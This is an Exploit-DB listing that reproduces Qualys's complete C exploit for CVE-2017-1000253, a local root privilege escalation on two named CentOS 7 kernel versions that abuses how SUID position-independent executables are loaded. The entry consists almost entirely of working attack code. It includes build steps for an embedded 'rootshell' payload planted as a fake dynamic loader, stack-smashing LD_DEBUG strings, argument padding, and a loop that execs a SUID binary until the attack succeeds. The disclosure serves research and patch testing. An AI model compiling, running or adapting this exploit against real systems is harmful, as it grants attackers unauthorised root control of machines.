Linux Kernel 3.10.0-514.21.2.el7.x86_64 / 3.10.0-514.26.1.el7.x86_64 (CentOS 7) - SUID Position Independent Executable 'PIE' Local Privilege Escalation

EDB-ID:

42887




Platform:

Linux

Date:

2017-09-26


/*
 * CVE-2017-1000253.c - an exploit for CentOS-7 kernel versions
 * 3.10.0-514.21.2.el7.x86_64 and 3.10.0-514.26.1.el7.x86_64
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
* 
* E-DB Note: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt
* E-DB Note: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c
* E-DB Note: http://seclists.org/oss-sec/2017/q3/541
*/

/**
cat > rootshell.c << "EOF"
#define _GNU_SOURCE
#include <linux/capability.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define die() exit(__LINE__)
static void __attribute__ ((constructor)) status(void) {
    if (dup2(STDIN_FILENO, STDOUT_FILENO) != STDOUT_FILENO) die();
    if (dup2(STDIN_FILENO, STDERR_FILENO) != STDERR_FILENO) die();
    const pid_t pid = getpid();
    if (pid <= 0) die();
    printf("Pid:\t%zu\n", (size_t)pid);
    uid_t ruid, euid, suid;
    gid_t rgid, egid, sgid;
    if (getresuid(&ruid, &euid, &suid)) die();
    if (getresgid(&rgid, &egid, &sgid)) die();
    printf("Uid:\t%zu\t%zu\t%zu\n", (size_t)ruid, (size_t)euid, (size_t)suid);
    printf("Gid:\t%zu\t%zu\t%zu\n", (size_t)rgid, (size_t)egid, (size_t)sgid);
    static struct __user_cap_header_struct header;
    if (capget(&header, NULL)) die();
    if (header.version <= 0) die();
    header.pid = pid;
    static struct __user_cap_data_struct data[2];
    if (capget(&header, data)) die();
    printf("CapInh:\t%08x%08x\n", data[1].inheritable, data[0].inheritable);
    printf("CapPrm:\t%08x%08x\n", data[1].permitted, data[0].permitted);
    printf("CapEff:\t%08x%08x\n", data[1].effective, data[0].effective);
    fflush(stdout);
    for (;;) sleep(10);
    die();
}
EOF
gcc -fpic -shared -nostartfiles -Os -s -o rootshell rootshell.c
xxd -i rootshell > rootshell.h
**/

#define _GNU_SOURCE
#include <elf.h>
#include <fcntl.h>
#include <link.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define mempset(_s, _c, _n) (memset((_s), (_c), (_n)) + (_n))

#define PAGESZ ((size_t)4096)
#define STACK_ALIGN ((size_t)16)
#define SUB_STACK_RAND ((size_t)8192)
#define SAFE_STACK_SIZE ((size_t)24<<10)
#define MAX_ARG_STRLEN ((size_t)128<<10)

#define INIT_STACK_EXP (131072UL)
#define STACK_GUARD_GAP (1UL<<20)
#define MIN_GAP (128*1024*1024UL + (((-1UL) & 0x3fffff) << 12))

#define LDSO "/lib64/ld-linux-x86-64.so.2"
#define LDSO_OFFSET ((size_t)0x238)

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const ElfW(auxv_t) * my_auxv;

static unsigned long int
my_getauxval (const unsigned long int type)
{
    const ElfW(auxv_t) * p;

    if (!my_auxv) die();
    for (p = my_auxv; p->a_type != AT_NULL; p++)
        if (p->a_type == type)
            return p->a_un.a_val;
    die();
}

struct elf_info {
    uintptr_t rx_start, rx_end;
    uintptr_t rw_start, rw_end;
    uintptr_t dynamic_start;
    uintptr_t data_start;
};

static struct elf_info
get_elf_info(const char * const binary)
{
    struct elf_info elf;
    memset(&elf, 0, sizeof(elf));

    const int fd = open(binary, O_RDONLY);
    if (fd <= -1) die();
    struct stat st;
    if (fstat(fd, &st)) die();
    if (!S_ISREG(st.st_mode)) die();
    if (st.st_size <= 0) die();
    #define SAFESZ ((size_t)64<<20)
    if (st.st_size >= (ssize_t)SAFESZ) die();
    const size_t size = st.st_size;
    uint8_t * const buf = malloc(size);
    if (!buf) die();
    if (read(fd, buf, size) != (ssize_t)size) die();
    if (close(fd)) die();

    if (size <= LDSO_OFFSET + sizeof(LDSO)) die();
    if (memcmp(buf + LDSO_OFFSET, LDSO, sizeof(LDSO))) die();

    if (size <= sizeof(ElfW(Ehdr))) die();
    const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
    if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
    if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
    if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
    if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
    if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die();
    if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
    if (ehdr->e_type != ET_DYN) die();
    if (ehdr->e_machine != EM_X86_64) die();
    if (ehdr->e_version != EV_CURRENT) die();
    if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
    if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
    if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
    if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();

    unsigned int i;
    for (i = 0; i < ehdr->e_phnum; i++) {
        const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
        if (phdr->p_type != PT_LOAD) continue;
        if (phdr->p_offset >= size) die();
        if (phdr->p_filesz > size - phdr->p_offset) die();
        if (phdr->p_filesz > phdr->p_memsz) die();
        if (phdr->p_vaddr != phdr->p_paddr) die();
        if (phdr->p_vaddr >= SAFESZ) die();
        if (phdr->p_memsz >= SAFESZ) die();
        if (phdr->p_memsz <= 0) die();
        if (phdr->p_align != 2 * STACK_GUARD_GAP) die();

        const uintptr_t start = phdr->p_vaddr & ~(PAGESZ-1);
        const uintptr_t end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
        if (elf.rw_end) die();

        switch (phdr->p_flags) {
            case PF_R | PF_X:
                if (elf.rx_end) die();
                if (phdr->p_vaddr) die();
                elf.rx_start = start;
                elf.rx_end = end;
                break;
            case PF_R | PF_W:
                if (!elf.rx_end) die();
                if (start <= elf.rx_end) die();
                elf.rw_start = start;
                elf.rw_end = end;
                break;
            default:
                die();
        }
    }
    if (!elf.rx_end) die();
    if (!elf.rw_end) die();

    uintptr_t _dynamic = 0;
    uintptr_t _data = 0;
    uintptr_t _bss = 0;

    for (i = 0; i < ehdr->e_shnum; i++) {
        const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i;
        if (!(shdr->sh_flags & SHF_ALLOC)) continue;
        if (shdr->sh_addr <= 0 || shdr->sh_addr >= SAFESZ) die();
        if (shdr->sh_size <= 0 || shdr->sh_size >= SAFESZ) die();
        #undef SAFESZ
        const uintptr_t start = shdr->sh_addr;
        const uintptr_t end = start + shdr->sh_size;

        if (!(shdr->sh_flags & SHF_WRITE)) {
            if (start < elf.rw_end && end > elf.rw_start) die();
            continue;
        }
        if (start < elf.rw_start || end > elf.rw_end) die();
        if (_bss) die();

        switch (shdr->sh_type) {
            case SHT_PROGBITS:
                if (start <= _data) die();
                _data = start;
                break;
            case SHT_NOBITS:
                if (!_data) die();
                _bss = start;
                break;
            case SHT_DYNAMIC:
                if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die();
                if (_dynamic) die();
                _dynamic = start;
                /* fall through */
            default:
                _data = 0;
                break;
        }
    }
    elf.dynamic_start = _dynamic;
    elf.data_start = _data;
    if (!_dynamic) die();
    if (!_data) die();
    if (!_bss) die();
    free(buf);
    return elf;
}

int
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
{
  {
    const char * const * p = my_envp;
    while (*p++) ;
    my_auxv = (const void *)p;
  }
    if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
  {
    const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
    if (!platform) die();
    if (strcmp(platform, "x86_64")) die();
  }
    if (my_argc != 2) {
        printf("Usage: %s binary\n", my_argv[0]);
        die();
    }
    const char * const binary = realpath(my_argv[1], NULL);
    if (!binary) die();
    if (*binary != '/') die();
    if (access(binary, R_OK | X_OK)) die();
    const struct elf_info elf = get_elf_info(binary);
    if (elf.rx_start) die();

    if (sizeof(ElfW(Dyn)) != STACK_ALIGN) die();
    if (elf.dynamic_start % STACK_ALIGN != STACK_ALIGN / 2) die();

    const uintptr_t arg_start = elf.rx_end + 2 * STACK_GUARD_GAP + INIT_STACK_EXP + PAGESZ-1;
    if (arg_start >= elf.rw_end) die();

    const size_t argv_size = (arg_start - elf.data_start) - (SAFE_STACK_SIZE + 8*8+22*2*8+16+4*STACK_ALIGN + SUB_STACK_RAND);
    printf("argv_size %zu\n", argv_size);
    if (argv_size >= arg_start) die();

    const size_t arg0_size = elf.rw_end - arg_start;
    if (arg0_size % PAGESZ != 1) die();

    const size_t npads = argv_size / sizeof(char *);
    if (npads <= arg0_size) die();

    const size_t smash_size = (elf.data_start - elf.rw_start) + SAFE_STACK_SIZE + SUB_STACK_RAND;
    if (smash_size >= (elf.rw_start - elf.rx_end) - STACK_GUARD_GAP) die();
    if (smash_size + 1024 >= MAX_ARG_STRLEN) die();
    printf("smash_size %zu\n", smash_size);

    const size_t hi_smash_size = (SAFE_STACK_SIZE * 3 / 4) & ~(STACK_ALIGN-1);
    printf("hi_smash_size %zu\n", hi_smash_size);
    if (hi_smash_size <= STACK_ALIGN) die();
    if (hi_smash_size >= smash_size) die();

    const size_t lo_smash_size = (smash_size - hi_smash_size) & ~(STACK_ALIGN-1);
    printf("lo_smash_size %zu\n", lo_smash_size);
    if (lo_smash_size <= STACK_ALIGN) die();

    #define LD_DEBUG_ "LD_DEBUG="
    static char foreground[MAX_ARG_STRLEN];
  {
    char * cp = stpcpy(foreground, LD_DEBUG_);
    cp = mempset(cp, 'A', hi_smash_size - 16);
    cp = mempset(cp, ' ', 1);
    cp = mempset(cp, 'A', 24);
    cp = mempset(cp, ' ', 1);
    cp = mempset(cp, 'A', 1);
    cp = mempset(cp, ' ', DT_SYMTAB + 16 - (24+1 + 1 + DT_NEEDED) % 16);
    cp = mempset(cp, 'A', 80);
    cp = mempset(cp, ' ', 16);
    cp = mempset(cp, 'A', 31);
    cp = mempset(cp, ' ', 1);
    cp = mempset(cp, 'A', 1);
    cp = mempset(cp, ' ', DT_NEEDED + 16 - (31+1 + 1 + DT_STRTAB) % 16);
    cp = mempset(cp, 'A', 80);
    cp = mempset(cp, ' ', 16);
    cp = mempset(cp, 'A', 31);
    cp = mempset(cp, ' ', 1);
    cp = mempset(cp, 'A', 1);
    cp = mempset(cp, ' ', DT_STRTAB + 16 - (31+1 + 1 + 1 + strlen(binary)+1 + sizeof(void *)) % 16);
    cp = mempset(cp, 'A', lo_smash_size - 16);
    if (cp >= foreground + sizeof(foreground)) die();
    if (cp <= foreground) die();
    if (*cp) die();
    if (strlen(foreground) != (size_t)(cp - foreground)) die();
  }
    static char background[MAX_ARG_STRLEN];
  {
    char * cp = stpcpy(background, LD_DEBUG_);
    cp = mempset(cp, 'L', lo_smash_size);
    size_t i;
    for (i = 0; i < (32 + 48 + 96) / sizeof(uint64_t); i++) {
        const uint64_t strtab = 0x8888888888888888UL + 0;
        cp = mempcpy(cp, &strtab, sizeof(uint64_t));
    }
    for (i = 0; i < (32 + 48 + 96) / sizeof(uint64_t); i++) {
        const uint64_t needed = 0x7777777777777778UL + LDSO_OFFSET+1;
        cp = mempcpy(cp, &needed, sizeof(uint64_t));
    }
    cp = mempset(cp, 'H', 32 + 48 + hi_smash_size - 16);
    if (cp >= background + sizeof(background)) die();
    if (cp <= background) die();
    if (*cp) die();
    if (strlen(background) != (size_t)(cp - background)) die();
    if (strlen(background) != strcspn(background, " ,:")) die();
  }

    static char pad[MAX_ARG_STRLEN];
    memset(pad, ' ', sizeof(pad)-1);
    if (pad[sizeof(pad)-1]) die();
    if (strlen(pad) != sizeof(pad)-1) die();
    if (sizeof(pad) % STACK_ALIGN) die();
  {
    double probability = npads * sizeof(pad) - (128<<20);
    probability *= probability / 2;
    probability /= (16UL<<30);
    probability /= ( 1UL<<40);
    printf("probability 1/%zu\n", (size_t)(1 / probability));
  }

    static char arg0[MAX_ARG_STRLEN];
    if (arg0_size >= sizeof(arg0)) die();
    if (arg0_size <= 0) die();
    memset(arg0, ' ', arg0_size-1);
    static char arg2[MAX_ARG_STRLEN];

    const size_t nargs = 3 + npads - (arg0_size-1);
    char ** const argv = calloc(nargs + 1, sizeof(char *));
    if (!argv) die();
  {
    char ** ap = argv;
    *ap++ = arg0;
    *ap++ = "--help";
    *ap++ = arg2;
    size_t n;
    for (n = ap - argv; n < nargs; n++) {
        *ap++ = pad;
    }
    if (ap != argv + nargs) die();
    if (*ap) die();
  }

    const size_t nenvs = 2 + arg0_size-1;
    char ** const envp = calloc(nenvs + 1, sizeof(char *));
    if (!envp) die();
  {
    char ** ep = envp;
    *ep++ = background;
    *ep++ = foreground;
    size_t n;
    for (n = ep - envp; n < nenvs; n++) {
        *ep++ = pad;
    }
    if (ep != envp + nenvs) die();
    if (*ep) die();
  }

  {
    size_t len = strlen(binary)+1 + sizeof(void *);
    char * const * const __strpp[] = { argv, envp, NULL };
    char * const * const * strpp;
    for (strpp = __strpp; *strpp; strpp++) {
        char * const * strp;
        for (strp = *strpp; *strp; strp++) {
            len += strlen(*strp) + 1;
        }
    }
    len = 1 + PAGESZ - len % PAGESZ;
    memset(arg2, ' ', len);
  }

  {
    if (npads * sizeof(pad) + (1<<20) >= MIN_GAP / 4) die();
    const struct rlimit rlimit_stack = { MIN_GAP, MIN_GAP };
    if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
  }
    const int dev_null = open("/dev/null", O_WRONLY);
    if (dev_null <= -1) die();

  {
    static char ldso[] = "." LDSO;
    char * const slash = strrchr(ldso, '/');
    if (!slash) die();
    *slash = '\0';
    mkdir(ldso, 0755);
    *slash = '/';

    const int fd = open(ldso, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0755);
    if (fd <= -1) die();
    static const
    #include "rootshell.h"
    if (write(fd, rootshell, rootshell_len) != (ssize_t)rootshell_len) die();
    if (close(fd)) die();
  }

    size_t try;
    for (try = 1; try; try++) {
        if (fflush(stdout)) die();
        const pid_t pid = fork();
        if (pid <= -1) die();
        if (pid == 0) {
            if (dup2(dev_null, STDOUT_FILENO) != STDOUT_FILENO) die();
            if (dup2(dev_null, STDERR_FILENO) != STDERR_FILENO) die();
            if (dev_null > STDERR_FILENO) if (close(dev_null)) die();
            execve(binary, argv, envp);
            die();
        }
        int status = 0;
        struct timeval start, stop, diff;
        if (gettimeofday(&start, NULL)) die();
        if (waitpid(pid, &status, WUNTRACED) != pid) die();
        if (gettimeofday(&stop, NULL)) die();
        timersub(&stop, &start, &diff);
        printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);

        if (WIFSIGNALED(status)) {
            printf("signal %d\n", WTERMSIG(status));
            switch (WTERMSIG(status)) {
                case SIGKILL:
                case SIGSEGV:
                case SIGBUS:
                    break;
                default:
                    die();
            }
        } else if (WIFEXITED(status)) {
            printf("exited %d\n", WEXITSTATUS(status));
        } else if (WIFSTOPPED(status)) {
            printf("stopped %d\n", WSTOPSIG(status));
            die();
        } else {
            printf("unknown %d\n", status);
            die();
        }
    }
    die();
}